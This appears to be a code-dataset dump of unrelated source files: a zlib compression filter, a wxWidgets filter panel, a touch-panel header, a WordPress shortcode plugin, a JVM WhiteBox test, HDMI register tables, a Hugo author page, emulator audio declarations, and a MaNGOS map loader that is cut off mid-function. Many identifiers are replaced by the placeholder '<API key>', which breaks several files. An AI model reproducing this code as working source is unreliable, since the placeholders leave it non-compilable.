answer
stringlengths 15
1.25M
|
|---|
#include "stdinc.h"
#include "DCPlusPlus.h"
#include "ZUtils.h"
#include "Exception.h"
#include "ResourceManager.h"
const double ZFilter::<API key> = 0.9;
ZFilter::ZFilter() : totalIn(0), totalOut(0), compressing(true) {
memset(&zs, 0, sizeof(zs));
if(deflateInit(&zs, 3) != Z_OK) {
throw Exception(STRING(COMPRESSION_ERROR));
}
}
ZFilter::~ZFilter() {
dcdebug("ZFilter end, %ld/%ld = %.04f\n", zs.total_out, zs.total_in, (float)zs.total_out / max((float)zs.total_in, (float)1));
deflateEnd(&zs);
}
bool ZFilter::operator()(const void* in, size_t& insize, void* out, size_t& outsize) {
if(outsize == 0)
return false;
zs.next_in = (Bytef*)in;
zs.next_out = (Bytef*)out;
// Check if there's any use compressing; if not, save some cpu...
if(compressing && insize > 0 && outsize > 16 && (totalIn > (64*1024)) && ((static_cast<double>(totalOut) / totalIn) > 0.95)) {
zs.avail_in = 0;
zs.avail_out = outsize;
if(deflateParams(&zs, 0, Z_DEFAULT_STRATEGY) != Z_OK) {
throw Exception(STRING(COMPRESSION_ERROR));
}
zs.avail_in = insize;
compressing = false;
dcdebug("Dynamically disabled compression");
// Check if we ate all space already...
if(zs.avail_out == 0) {
outsize = outsize - zs.avail_out;
insize = insize - zs.avail_in;
totalOut += outsize;
totalIn += insize;
return true;
}
} else {
zs.avail_in = insize;
zs.avail_out = outsize;
}
if(insize == 0) {
int err = ::deflate(&zs, Z_FINISH);
if(err != Z_OK && err != Z_STREAM_END)
throw Exception(STRING(COMPRESSION_ERROR));
outsize = outsize - zs.avail_out;
insize = insize - zs.avail_in;
totalOut += outsize;
totalIn += insize;
return err == Z_OK;
} else {
int err = ::deflate(&zs, Z_NO_FLUSH);
if(err != Z_OK)
throw Exception(STRING(COMPRESSION_ERROR));
outsize = outsize - zs.avail_out;
insize = insize - zs.avail_in;
totalOut += outsize;
totalIn += insize;
return true;
}
}
UnZFilter::UnZFilter() {
memset(&zs, 0, sizeof(zs));
if(inflateInit(&zs) != Z_OK)
throw Exception(STRING(DECOMPRESSION_ERROR));
}
UnZFilter::~UnZFilter() {
dcdebug("UnZFilter end, %ld/%ld = %.04f\n", zs.total_out, zs.total_in, (float)zs.total_out / max((float)zs.total_in, (float)1));
inflateEnd(&zs);
}
bool UnZFilter::operator()(const void* in, size_t& insize, void* out, size_t& outsize) {
if(outsize == 0)
return 0;
zs.avail_in = insize;
zs.next_in = (Bytef*)in;
zs.avail_out = outsize;
zs.next_out = (Bytef*)out;
int err = ::inflate(&zs, Z_NO_FLUSH);
// see zlib/contrib/minizip/unzip.c, Z_BUF_ERROR means we should have padded
// with a dummy byte if at end of stream - since we don't do this it's not a real
// error
if(!(err == Z_OK || err == Z_STREAM_END || (err == Z_BUF_ERROR && in == NULL)))
throw Exception(STRING(DECOMPRESSION_ERROR));
outsize = outsize - zs.avail_out;
insize = insize - zs.avail_in;
return err == Z_OK;
}
|
#ifndef NO_TORRENT_SYSTEM
#ifdef _MSC_VER
#ifndef NOMINMAX
#define NOMINMAX
#endif // NOMINMAX
#include <winsock2.h>
#endif // _MSC_VER
#include <wx/stattext.h>
#include <wx/sizer.h>
#include <wx/textctrl.h>
#include <wx/intl.h>
#include <wx/choice.h>
#include <wx/statbox.h>
#include <wx/event.h>
#include <wx/regex.h>
#include <wx/checkbox.h>
#include "filelistfilter.h"
#include "filelistctrl.h"
#include "filelistdialog.h"
#include "../uiutils.h"
#include "../utils/downloader.h"
#include "../torrentwrapper.h"
BEGIN_EVENT_TABLE( FileListFilter, wxPanel )
EVT_CHOICE( <API key>, FileListFilter::OnChangeType )
EVT_TEXT( <API key> , FileListFilter::OnChangeName )
EVT_CHECKBOX( FILE_FILTER_ONDISK , FileListFilter::OnChangeOndisk )
END_EVENT_TABLE()
FileListFilter::FileListFilter( wxWindow* parent, wxWindowID id, FileListDialog* parentBattleListTab, const wxPoint& pos, const wxSize& size, long style )
: wxPanel( parent, id, pos, size, style ),
<API key>( parentBattleListTab )
{
wxBoxSizer* m_filter_sizer;
m_filter_sizer = new wxBoxSizer( wxVERTICAL );
wxStaticBoxSizer* m_filter_body_sizer;
m_filter_body_sizer = new wxStaticBoxSizer( new wxStaticBox( this, -1, wxEmptyString ), wxVERTICAL );
wxBoxSizer* <API key>;
<API key> = new wxBoxSizer( wxHORIZONTAL );
m_filter_name_text = new wxStaticText( this, wxID_ANY, _( "Filename:" ), wxDefaultPosition, wxSize( -1,-1 ), 0 );
m_filter_name_text->Wrap( -1 );
m_filter_name_text->SetMinSize( wxSize( 90,-1 ) );
<API key>->Add( m_filter_name_text, 0, wxALL|<API key>, 5 );
m_filter_name_edit = new wxTextCtrl( this, <API key>, _T( "" ), wxDefaultPosition, wxSize( -1,-1 ), 0|wxSIMPLE_BORDER );
m_filter_name_edit->SetFont( wxFont( wxNORMAL_FONT->GetPointSize(), 70, 90, 90, false, wxEmptyString ) );
m_filter_name_edit->SetMinSize( wxSize( 220,-1 ) );
<API key> = new wxRegEx( m_filter_name_edit->GetValue(),wxRE_ICASE );
<API key>->Add( m_filter_name_edit, 0, wxALL|<API key>, 5 );
wxBoxSizer* m_filter_type_sizer;
m_filter_type_sizer = new wxBoxSizer( wxHORIZONTAL );
m_filter_type_text = new wxStaticText( this, wxID_ANY, _( "Filetype:" ), wxDefaultPosition, wxDefaultSize, 0 );
m_filter_type_text->Wrap( -1 );
m_filter_type_sizer->Add( m_filter_type_text, 0, wxALIGN_RIGHT|wxALL|<API key>, 5 );
wxBoxSizer* <API key>;
<API key> = new wxBoxSizer( wxHORIZONTAL );
m_filter_ondisk = new wxCheckBox( this, FILE_FILTER_ONDISK, _T( "Filter files already on disk" ) );
<API key>->Add( m_filter_ondisk, 0, <API key> );
wxString firstChoice = _T( "Any" );
wxArrayString <API key>;
<API key>.Add( firstChoice );
<API key>.Add( _( "Map" ) );
<API key>.Add( _( "Game" ) );
<API key> = new wxChoice( this, <API key>, wxDefaultPosition, wxDefaultSize, <API key>, wxSIMPLE_BORDER );
m_filter_type_sizer->Add( <API key>, 0, wxALIGN_RIGHT|wxALL|<API key>, 5 );
<API key>->Add( m_filter_type_sizer, 0, wxEXPAND, 5 );
<API key>->Add( <API key>, 0, wxEXPAND|<API key>, 5 );
m_filter_body_sizer->Add( <API key>, 1, wxEXPAND, 5 );
m_filter_sizer->Add( m_filter_body_sizer, 1, wxEXPAND|<API key>, 5 );
this->SetSizer( m_filter_sizer );
this->Layout();
m_filter_sizer->Fit( this );
delete <API key>;
<API key> = new wxRegEx( m_filter_name_edit->GetValue(),wxRE_ICASE );
<API key> = -1;
wxCommandEvent dummy;
OnChange( dummy );
}
bool FileListFilter::DoFilterResource( const PlasmaResourceInfo& /*info*/ )
{
// if(!data.ok())return false;
// if ( data->name.Upper().Find( m_filter_name_edit->GetValue().Upper() ) == wxNOT_FOUND
// && !<API key>->Matches( data->name ) )
// return false;
// if ( <API key> == 0 && data->type != SpringUnitSync::map ) return false;
// if ( <API key> == 1 && data->type != SpringUnitSync::mod ) return false;
// if ( m_filter_ondisk->IsChecked() && data->HasFullFileLocal() )
// return false;
return false;
}
void FileListFilter::OnChange( wxCommandEvent& )
{
//needs dummy event data
<API key>->UpdateList( GlobalEvents::GlobalEventData() );
}
void FileListFilter::OnChangeName( wxCommandEvent& event )
{
delete <API key>;
<API key> = new wxRegEx( m_filter_name_edit->GetValue(),wxRE_ICASE );
OnChange( event );
}
void FileListFilter::OnChangeType( wxCommandEvent& event )
{
<API key> = <API key>->GetSelection()-1;
OnChange( event );
}
void FileListFilter::OnChangeOndisk( wxCommandEvent& event )
{
OnChange( event );
}
#endif
|
#ifndef TOUCHPANEL_H__
#define TOUCHPANEL_H__
/* Pre-defined definition */
/* Register */
#define FD_ADDR_MAX 0xE9
#define FD_ADDR_MIN 0xDD
#define FD_BYTE_COUNT 6
#define CUSTOM_MAX_WIDTH (720)
#define CUSTOM_MAX_HEIGHT (1280)
//#define TPD_UPDATE_FIRMWARE
#define TPD_HAVE_BUTTON
#define TPD_BUTTON_HEIGH (100)
#define TPD_KEY_COUNT 3
#define TPD_KEYS { KEY_MENU, KEY_HOMEPAGE, KEY_BACK}
#define TPD_KEYS_DIM {{145,1330,120,TPD_BUTTON_HEIGH},\
{360,1330,120,TPD_BUTTON_HEIGH},\
{600,1330,120,TPD_BUTTON_HEIGH}}
#define <API key> <API key>
//#define <API key>
//#define <API key> {2680,0,0,0,2760,0,0,0};
//#define TPD_WARP_START
//#define TPD_WARP_END
//#define <API key>
//#define TPD_MAX_RESET_COUNT 3
//#define TPD_WARP_Y(y) ( TPD_Y_RES - 1 - y )
//#define TPD_WARP_X(x) ( x )
#endif /* TOUCHPANEL_H__ */
|
<?php
//add a button to the content editor, next to the media button
//this button will show a popup that contains inline content
add_action('<API key>', '<API key>');
//add some content to the bottom of the page
//This will be shown in the inline modal
if(is_admin()){
add_action('admin_footer', '<API key>');
}
//action to add a custom button to the content editor
function <API key>($context) {
//path to my icon
$img = <API key>() .'/images/shortcode_button.png';
//our popup's title
$title = __('Cosmone Shortcodes','cosmone');
//append the icon
$context .= "<a class='cosmone_shortcodes' title='{$title}'><img src='{$img}' /></a>";
return $context;
}
function <API key>() {
global $cosmone_shortcodes ;
?>
<div class="white-popup <API key> mfp-with-anim mfp-hide" id="<API key>" style="" >
<form>
<h4><?php _e("MageeWP Shortcodes Generator",'cosmone');?></h4>
<ul class="<API key>">
<?php if(is_array($cosmone_shortcodes )):foreach($cosmone_shortcodes as $key => $val){
if(in_array($key ,array("testimonial_item","pricing_row",'tab','accordion'))){continue;}
?>
<li><a class='<API key> <?php echo $key;?>' title='<?php echo ucwords(str_replace("_"," ",$key));?>' data-shortcode="<?php echo $key;?>" href="javascript:;"><?php echo ucwords(str_replace("_"," ",$key));?></a></li>
<?php } ?>
<?php endif;?>
</ul>
<div id="<API key>">
<div id="<API key>">
<a title="Click to return to the shortcodes list" class="<API key>" href="javascript:void(0);"><?php _e("All shortcodes",'cosmone');?></a> → <span class="current_shortcode"></span>
<div class="clear"></div>
</div>
<div id="<API key>"></div>
<input name="cosmone-shortcode" type="hidden" id="cosmone-shortcode" value="" />
<input name="<API key>" type="hidden" id="<API key>" value="" />
<div class="<API key> <API key>">
<!--<a class="button button-secondary button-large <API key> " href="javascript:void(0);"><?php _e("Preview shortcode",'cosmone');?></a>-->
<a class="button button-primary button-large <API key> " href="javascript:void(0);"><?php _e("Insert shortcode",'cosmone');?></a>
</div>
<div class="clear"></div>
</div></form>
<div class="clear"></div>
</div>
<div id="<API key>" style="display:none;">
</div>
<?php } ?>
|
/*
* @test <API key>
* @compile -J-XX:+<API key> -J-XX:+WhiteBoxAPI <API key>.java
* @compile -J-XX:+<API key> -J-XX:+WhiteBoxAPI <API key>.java
* @run main/othervm -XX:+<API key> -XX:+WhiteBoxAPI <API key>
* @author igor.ignatyev@oracle.com
*/
public class <API key> extends <API key> {
public static void main(String[] args) throws Exception {
new <API key>().runTest();
}
protected void test() throws Exception {
if (WHITE_BOX.setDontInlineMethod(METHOD, true)) {
throw new RuntimeException("on start " + METHOD
+ " must be inlineable");
}
if (!WHITE_BOX.setDontInlineMethod(METHOD, true)) {
throw new RuntimeException("after first change to true " + METHOD
+ " must be not inlineable");
}
if (!WHITE_BOX.setDontInlineMethod(METHOD, false)) {
throw new RuntimeException("after second change to true " + METHOD
+ " must be still not inlineable");
}
if (WHITE_BOX.setDontInlineMethod(METHOD, false)) {
throw new RuntimeException("after first change to false" + METHOD
+ " must be inlineable");
}
if (WHITE_BOX.setDontInlineMethod(METHOD, false)) {
throw new RuntimeException("after second change to false " + METHOD
+ " must be inlineable");
}
}
}
|
struct ConfigTable
{
unsigned char address;
unsigned char subaddress;
unsigned char data;
};
static const struct ConfigTable <API key>[] PROGMEM =
{
{ 0x98, 0xF4, 0x80 }, // CEC
{ 0x98, 0xF5, 0x7C }, // INFOFRAME
{ 0x98, 0xF8, 0x4C }, // DPLL
{ 0x98, 0xF9, 0x64 }, // KSV
{ 0x98, 0xFA, 0x6C }, // EDID
{ 0x98, 0xFB, 0x68 }, // HDMI
{ 0x98, 0xFD, 0x44 },
{ 0x64, 0x77, 0x00 }, // Disable the Internal EDID
{ 0x00 }
};
static const struct ConfigTable <API key>[] PROGMEM =
{
{ 0x64, 0x77, 0x00 }, // Set the Most Significant Bit of the SPA location to 0
{ 0x64, 0x52, 0x20 }, // Set the SPA for port B.
{ 0x64, 0x53, 0x00 }, // Set the SPA for port B.
{ 0x64, 0x70, 0x9E }, // Set the Least Significant Byte of the SPA location
{ 0x64, 0x74, 0x03 }, // Enable the Internal EDID for Ports
{ 0x98, 0x01, 0x06 }, // Prim_Mode =110b HDMI-GR
{ 0x98, 0x02, 0xF2 }, // Auto CSC, YCrCb out, Set op_656 bit
{ 0x98, 0x03, 0x40 }, // 24 bit SDR 444 Mode 0
{ 0x98, 0x05, 0x28 }, // AV Codes Off
{ 0x98, 0x0B, 0x44 }, // Power up part
{ 0x98, 0x0C, 0x42 }, // Power up part
{ 0x98, 0x14, 0x55 }, // Min Drive Strength
{ 0x98, 0x15, 0x80 }, // Disable Tristate of Pins
{ 0x98, 0x19, 0x85 }, // LLC DLL phase
{ 0x98, 0x33, 0x40 }, // LLC DLL enable
{ 0x44, 0xBA, 0x01 }, // Set HDMI FreeRun
{ 0x64, 0x40, 0x81 }, // Disable HDCP 1.1 features
{ 0x68, 0x9B, 0x03 }, // ADI recommended setting
{ 0x68, 0xC1, 0x01 }, // ADI recommended setting
{ 0x68, 0xC2, 0x01 }, // ADI recommended setting
{ 0x68, 0xC3, 0x01 }, // ADI recommended setting
{ 0x68, 0xC4, 0x01 }, // ADI recommended setting
{ 0x68, 0xC5, 0x01 }, // ADI recommended setting
{ 0x68, 0xC6, 0x01 }, // ADI recommended setting
{ 0x68, 0xC7, 0x01 }, // ADI recommended setting
{ 0x68, 0xC8, 0x01 }, // ADI recommended setting
{ 0x68, 0xC9, 0x01 }, // ADI recommended setting
{ 0x68, 0xCA, 0x01 }, // ADI recommended setting
{ 0x68, 0xCB, 0x01 }, // ADI recommended setting
{ 0x68, 0xCC, 0x01 }, // ADI recommended setting
{ 0x68, 0x00, 0x00 }, // Set HDMI Input Port A
{ 0x68, 0x83, 0xFE }, // Enable clock terminator for port A
{ 0x68, 0x6F, 0x0C }, // ADI recommended setting
{ 0x68, 0x85, 0x1F }, // ADI recommended setting
{ 0x68, 0x87, 0x70 }, // ADI recommended setting
{ 0x68, 0x8D, 0x04 }, // LFG
{ 0x68, 0x8E, 0x1E }, // HFG
{ 0x68, 0x1A, 0x8A }, // unmute audio
{ 0x68, 0x57, 0xDA }, // ADI recommended setting
{ 0x68, 0x58, 0x01 }, // ADI recommended setting
{ 0x68, 0x75, 0x10 }, // DDC drive strength
{ 0x98, 0x40, 0xE2 }, // INT1 active high, active until cleared
{ 0x00 }
};
|
<!DOCTYPE html><html lang="en-us" >
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="generator" content="Source Themes Academic 4.8.0">
<meta name="author" content="Isabela Le Bras">
<meta name="description" content="Assistant Scientist<br />Physical Oceanography Department">
<link rel="alternate" hreflang="en-us" href="https://ilebras.github.io/author/m-s-lozier/">
<meta name="theme-color" content="#2962ff">
<script src="/js/mathjax-config.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/academicons/1.8.6/css/academicons.min.css" integrity="<API key>+<API key>=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.0-1/css/all.min.css" integrity="<API key>/2KUWZbU=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.css" integrity="sha256-Vzbj7sDDS/<API key>=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/github.min.css" crossorigin="anonymous" title="hl-light">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/styles/dracula.min.css" crossorigin="anonymous" title="hl-dark" disabled>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.1.2/lazysizes.min.js" integrity="<API key>=" crossorigin="anonymous" async></script>
<script src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js" integrity="" crossorigin="anonymous" async></script>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:400,700%7CRoboto:400,400italic,700%7CRoboto+Mono&display=swap">
<link rel="stylesheet" href="/css/academic.css">
<link rel="alternate" href="/author/m-s-lozier/index.xml" type="application/rss+xml" title="Isabela Le Bras @ WHOI">
<link rel="manifest" href="/index.webmanifest">
<link rel="icon" type="image/png" href="/images/<API key>.png">
<link rel="apple-touch-icon" type="image/png" href="/images/<API key>.png">
<link rel="canonical" href="https://ilebras.github.io/author/m-s-lozier/">
<meta property="twitter:card" content="summary">
<meta property="og:site_name" content="Isabela Le Bras @ WHOI">
<meta property="og:url" content="https://ilebras.github.io/author/m-s-lozier/">
<meta property="og:title" content="M S Lozier | Isabela Le Bras @ WHOI">
<meta property="og:description" content="Assistant Scientist<br />Physical Oceanography Department"><meta property="og:image" content="https://ilebras.github.io/images/<API key>.png">
<meta property="twitter:image" content="https://ilebras.github.io/images/<API key>.png"><meta property="og:locale" content="en-us">
<meta property="og:updated_time" content="2019-02-01T00:00:00+00:00">
<title>M S Lozier | Isabela Le Bras @ WHOI</title>
</head>
<body id="top" data-spy="scroll" data-offset="70" data-target="#TableOfContents" >
<aside class="search-results" id="search">
<div class="container">
<section class="search-header">
<div class="row no-gutters <API key> mb-3">
<div class="col-6">
<h1>Search</h1>
</div>
<div class="col-6 col-search-close">
<a class="js-search" href="#"><i class="fas fa-times-circle text-muted" aria-hidden="true"></i></a>
</div>
</div>
<div id="search-box">
<input name="q" id="search-query" placeholder="Search..." autocapitalize="off"
autocomplete="off" autocorrect="off" spellcheck="false" type="search" class="form-control">
</div>
</section>
<section class="<API key>">
<div id="search-hits">
</div>
</section>
</div>
</aside>
<nav class="navbar navbar-expand-lg navbar-light <API key>" id="navbar-main">
<div class="container">
<div class="d-none d-lg-inline-flex">
<a class="navbar-brand" href="/">Isabela Le Bras @ WHOI</a>
</div>
<button type="button" class="navbar-toggler" data-toggle="collapse"
data-target="#navbar-content" aria-controls="navbar" aria-expanded="false" aria-label="Toggle navigation">
<span><i class="fas fa-bars"></i></span>
</button>
<div class="<API key> d-inline-flex d-lg-none">
<a class="navbar-brand" href="/">Isabela Le Bras @ WHOI</a>
</div>
<div class="navbar-collapse main-menu-item collapse justify-content-end" id="navbar-content">
<ul class="navbar-nav d-md-inline-flex">
<li class="nav-item">
<a class="nav-link " href="/#about"><span>Home</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/#projects"><span>Research</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/#publications"><span>Publications</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/join"><span>Join</span></a>
</li>
<li class="nav-item">
<a class="nav-link " href="/#contact"><span>Contact</span></a>
</li>
</ul>
</div>
<ul class="nav-icons navbar-nav flex-row ml-auto d-flex pl-md-2">
<li class="nav-item">
<a class="nav-link js-search" href="#" aria-label="Search"><i class="fas fa-search" aria-hidden="true"></i></a>
</li>
<li class="nav-item dropdown theme-dropdown">
<a href="#" class="nav-link js-theme-selector" data-toggle="dropdown" aria-haspopup="true">
<i class="fas fa-palette" aria-hidden="true"></i>
</a>
<div class="dropdown-menu">
<a href="#" class="dropdown-item js-set-theme-light">
<span>Light</span>
</a>
<a href="#" class="dropdown-item js-set-theme-dark">
<span>Dark</span>
</a>
<a href="#" class="dropdown-item js-set-theme-auto">
<span>Automatic</span>
</a>
</div>
</li>
</ul>
</div>
</nav>
<div class="universal-wrapper pt-3">
<h1>M S Lozier</h1>
</div>
<section id="profile-page" class="pt-5">
<div class="container">
<div class="article-widget content-widget-hr">
<h3>Latest</h3>
<ul>
<li>
<a href="/publication/lozier-2019/">A sea change in our view of overturning in the subpolar North Atlantic.</a>
</li>
</ul>
</div>
</div>
</section>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js" integrity="sha256-9/<API key>/faTqgFtohetphbbj0=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.4/imagesloaded.pkgd.min.js" integrity="<API key>/<API key>=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.isotope/3.0.6/isotope.pkgd.min.js" integrity="<API key>/iI=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.5.7/jquery.fancybox.min.js" integrity="<API key>/HTHLT7097U8Y5b8=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/instant.page/5.1.0/instantpage.min.js" integrity="sha512-1+qUtKoh9XZW7j+<API key>+cvxXjP1Z54RxZuzstR/<API key>==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/highlight.min.js" integrity="<API key>=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.18.1/languages/r.min.js"></script>
<script async defer src="https://maps.googleapis.com/maps/api/js?key="></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gmaps.js/0.4.25/gmaps.min.js" integrity="<API key>=" crossorigin="anonymous"></script>
<script>const code_highlighting = true;</script>
<script>const isSiteThemeDark = false;</script>
<script>
const search_config = {"indexURI":"/index.json","minLength":1,"threshold":0.3};
const i18n = {"no_results":"No results found","placeholder":"Search...","results":"results found"};
const content_type = {
'post': "Posts",
'project': "Projects",
'publication' : "Publications",
'talk' : "Talks",
'slides' : "Slides"
};
</script>
<script id="<API key>" type="text/x-template">
<div class="search-hit" id="summary-{{key}}">
<div class="search-hit-content">
<div class="search-hit-name">
<a href="{{relpermalink}}">{{title}}</a>
<div class="article-metadata search-hit-type">{{type}}</div>
<p class="<API key>">{{snippet}}</p>
</div>
</div>
</div>
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fuse.js/3.2.1/fuse.min.js" integrity="<API key>+<API key>=" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mark.js/8.11.1/jquery.mark.min.js" integrity="<API key>=" crossorigin="anonymous"></script>
<script src="/js/academic.min.<API key>.js"></script>
<div class="container">
<footer class="site-footer">
<p class="powered-by">
© 2020
</p>
<p class="powered-by">
Published with
<a href="https://sourcethemes.com/academic/" target="_blank" rel="noopener">Academic Website Builder</a>
<span class="float-right" aria-hidden="true">
<a href="#" class="back-to-top">
<span class="button_icon">
<i class="fas fa-chevron-up fa-2x"></i>
</span>
</a>
</span>
</p>
</footer>
</div>
<div id="modal" class="modal fade" role="dialog">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Cite</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<pre><code class="tex hljs"></code></pre>
</div>
<div class="modal-footer">
<a class="btn btn-outline-primary my-1 js-copy-cite" href="#" target="_blank">
<i class="fas fa-copy"></i> Copy
</a>
<a class="btn btn-outline-primary my-1 js-download-cite" href="#" target="_blank">
<i class="fas fa-download"></i> Download
</a>
<div id="modal-error"></div>
</div>
</div>
</div>
</div>
</body>
</html>
|
#ifndef UAE_AUDIO_H
#define UAE_AUDIO_H
#define PERIOD_MAX ULONG_MAX
extern void aud0_handler (void);
extern void aud1_handler (void);
extern void aud2_handler (void);
extern void aud3_handler (void);
extern void AUDxDAT (int nr, uae_u16 value);
extern void AUDxDAT_addr (int nr, uae_u16 value, uaecptr addr);
extern void AUDxVOL (int nr, uae_u16 value);
extern void AUDxPER (int nr, uae_u16 value);
extern void AUDxLCH (int nr, uae_u16 value);
extern void AUDxLCL (int nr, uae_u16 value);
extern void AUDxLEN (int nr, uae_u16 value);
extern uae_u16 audio_dmal (void);
extern void audio_state_machine (void);
extern uaecptr audio_getpt (int nr, bool reset);
extern int init_audio (void);
extern void ahi_install (void);
extern void audio_reset (void);
extern void update_audio (void);
extern void audio_evhandler (void);
extern void audio_hsync (void);
extern void <API key> (void);
extern void update_sound (double freq, int longframe, int linetoggle);
extern void led_filter_audio (void);
extern void set_audio (void);
extern int audio_activate (void);
extern void audio_vsync (void);
void <API key> (void);
extern int sound_available;
extern void audio_sampleripper(int);
extern int <API key>;
//extern void write_wavheader (struct zfile *wavfile, uae_u32 size, uae_u32 freq);
enum {
SND_MONO, SND_STEREO, <API key>, SND_4CH, <API key>, SND_6CH, SND_NONE };
STATIC_INLINE int <API key> (int channels)
{
switch (channels)
{
case 1:
return SND_MONO;
case 2:
return SND_STEREO;
case 4:
return SND_4CH;
case 6:
return SND_6CH;
}
return SND_STEREO;
}
STATIC_INLINE int <API key> (int stereomode)
{
int ch[] = { 1, 2, 4, 4, 6, 6, 0 };
return ch[stereomode];
}
STATIC_INLINE int <API key> (int stereomode)
{
int ch[] = { 1, 2, 2, 4, 2, 4, 0 };
return ch[stereomode];
}
STATIC_INLINE int get_audio_ismono (int stereomode)
{
if (stereomode == 0)
return 1;
return 0;
}
#define <API key> 1024
#define SOUND_MAX_LOG_DELAY 10
#define MIXED_STEREO_MAX 16
#define MIXED_STEREO_SCALE 32
#endif /* UAE_AUDIO_H */
|
#include "MapManager.h"
#include "Log.h"
#include "GridStates.h"
#include "CellImpl.h"
#include "Map.h"
#include "DBCEnums.h"
#include "DBCStores.h"
#include "GridMap.h"
#include "VMapFactory.h"
#include "World.h"
#include "Policies/SingletonImp.h"
#include "Util.h"
char const* MAP_MAGIC = "MAPS";
char const* MAP_VERSION_MAGIC = "10.1";
char const* MAP_AREA_MAGIC = "AREA";
char const* MAP_HEIGHT_MAGIC = "MHGT";
char const* MAP_LIQUID_MAGIC = "MLIQ";
GridMap::GridMap()
{
m_flags = 0;
// Area data
m_gridArea = 0;
m_area_map = NULL;
// Height level data
m_gridHeight = <API key>;
m_gridGetHeight = &GridMap::getHeightFromFlat;
m_V9 = NULL;
m_V8 = NULL;
// Liquid data
m_liquidType = 0;
m_liquid_offX = 0;
m_liquid_offY = 0;
m_liquid_width = 0;
m_liquid_height = 0;
m_liquidLevel = <API key>;
m_liquid_type = NULL;
m_liquid_map = NULL;
}
GridMap::~GridMap()
{
unloadData();
}
bool GridMap::loadData(char *filename)
{
// Unload old data if exist
unloadData();
GridMapFileHeader header;
// Not return error if file not found
FILE *in = fopen(filename, "rb");
if (!in)
return true;
fread(&header, sizeof(header),1,in);
if (header.mapMagic == *((uint32 const*)(MAP_MAGIC)) &&
header.versionMagic == *((uint32 const*)(MAP_VERSION_MAGIC)))
{
// loadup area data
if (header.areaMapOffset && !loadAreaData(in, header.areaMapOffset, header.areaMapSize))
{
sLog.outError("Error loading map area data\n");
fclose(in);
return false;
}
// loadup height data
if (header.heightMapOffset && !loadHeightData(in, header.heightMapOffset, header.heightMapSize))
{
sLog.outError("Error loading map height data\n");
fclose(in);
return false;
}
// loadup liquid data
if (header.liquidMapOffset && !<API key>(in, header.liquidMapOffset, header.liquidMapSize))
{
sLog.outError("Error loading map liquids data\n");
fclose(in);
return false;
}
fclose(in);
return true;
}
sLog.outError("Map file '%s' is non-compatible version (outdated?). Please, create new using ad.exe program.", filename);
fclose(in);
return false;
}
void GridMap::unloadData()
{
if (m_area_map)
delete[] m_area_map;
if (m_V9)
delete[] m_V9;
if (m_V8)
delete[] m_V8;
if (m_liquid_type)
delete[] m_liquid_type;
if (m_liquid_map)
delete[] m_liquid_map;
m_area_map = NULL;
m_V9 = NULL;
m_V8 = NULL;
m_liquid_type = NULL;
m_liquid_map = NULL;
m_gridGetHeight = &GridMap::getHeightFromFlat;
}
bool GridMap::loadAreaData(FILE *in, uint32 offset, uint32 /*size*/)
{
GridMapAreaHeader header;
fseek(in, offset, SEEK_SET);
fread(&header, sizeof(header), 1, in);
if (header.fourcc != *((uint32 const*)(MAP_AREA_MAGIC)))
return false;
m_gridArea = header.gridArea;
if (!(header.flags & MAP_AREA_NO_AREA))
{
m_area_map = new uint16 [16*16];
fread(m_area_map, sizeof(uint16), 16*16, in);
}
return true;
}
bool GridMap::loadHeightData(FILE *in, uint32 offset, uint32 /*size*/)
{
GridMapHeightHeader header;
fseek(in, offset, SEEK_SET);
fread(&header, sizeof(header), 1, in);
if (header.fourcc != *((uint32 const*)(MAP_HEIGHT_MAGIC)))
return false;
m_gridHeight = header.gridHeight;
if (!(header.flags & <API key>))
{
if ((header.flags & MAP_HEIGHT_AS_INT16))
{
m_uint16_V9 = new uint16 [129*129];
m_uint16_V8 = new uint16 [128*128];
fread(m_uint16_V9, sizeof(uint16), 129*129, in);
fread(m_uint16_V8, sizeof(uint16), 128*128, in);
<API key> = (header.gridMaxHeight - header.gridHeight) / 65535;
m_gridGetHeight = &GridMap::getHeightFromUint16;
}
else if ((header.flags & MAP_HEIGHT_AS_INT8))
{
m_uint8_V9 = new uint8 [129*129];
m_uint8_V8 = new uint8 [128*128];
fread(m_uint8_V9, sizeof(uint8), 129*129, in);
fread(m_uint8_V8, sizeof(uint8), 128*128, in);
<API key> = (header.gridMaxHeight - header.gridHeight) / 255;
m_gridGetHeight = &GridMap::getHeightFromUint8;
}
else
{
m_V9 = new float [129*129];
m_V8 = new float [128*128];
fread(m_V9, sizeof(float), 129*129, in);
fread(m_V8, sizeof(float), 128*128, in);
